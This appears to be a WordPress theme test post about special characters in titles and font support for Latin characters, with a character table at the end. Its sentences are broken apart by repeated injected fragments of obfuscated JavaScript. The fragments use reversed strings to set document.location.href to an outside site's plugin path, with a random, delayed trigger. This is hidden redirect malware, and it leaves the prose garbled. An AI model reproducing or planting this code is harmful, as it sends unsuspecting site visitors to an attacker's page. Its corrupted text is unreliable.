Putting special characters in the title should have no adverse effect on the layout or functionality.
Special characters in the post title have been known toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to cause issues with JavaScript when it is minified, especially in the admin when editing the post itself (ie. issues with metaboxes, media upload, etc.).
Latin Character Tests
This is a test toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to see if the fonts used in this theme support basic Latin characters.
| ! | “ | # | $ | % | & | ‘ | ( | ) | * |
| + | , | – | . | / | 0 | 1 | 2 | 3 | 4 |
| 5 | 6 | 7 | 8 | 9 | : | ; | > | = | < |
| ? | @ | A | B | C | D | E | F | G | H |
| I | J | K | L | M | N | O | P | Q | R |
| S | T | U | V | W | X | Y | Z | [ | |
| ] | ^ | _ | ` | a | b | c | d | e | f |
| g | h | i | j | k | l | m | n | o | p |
| q | r | s | t | u | v | w | x | y | z |
| { | | | } | ~ |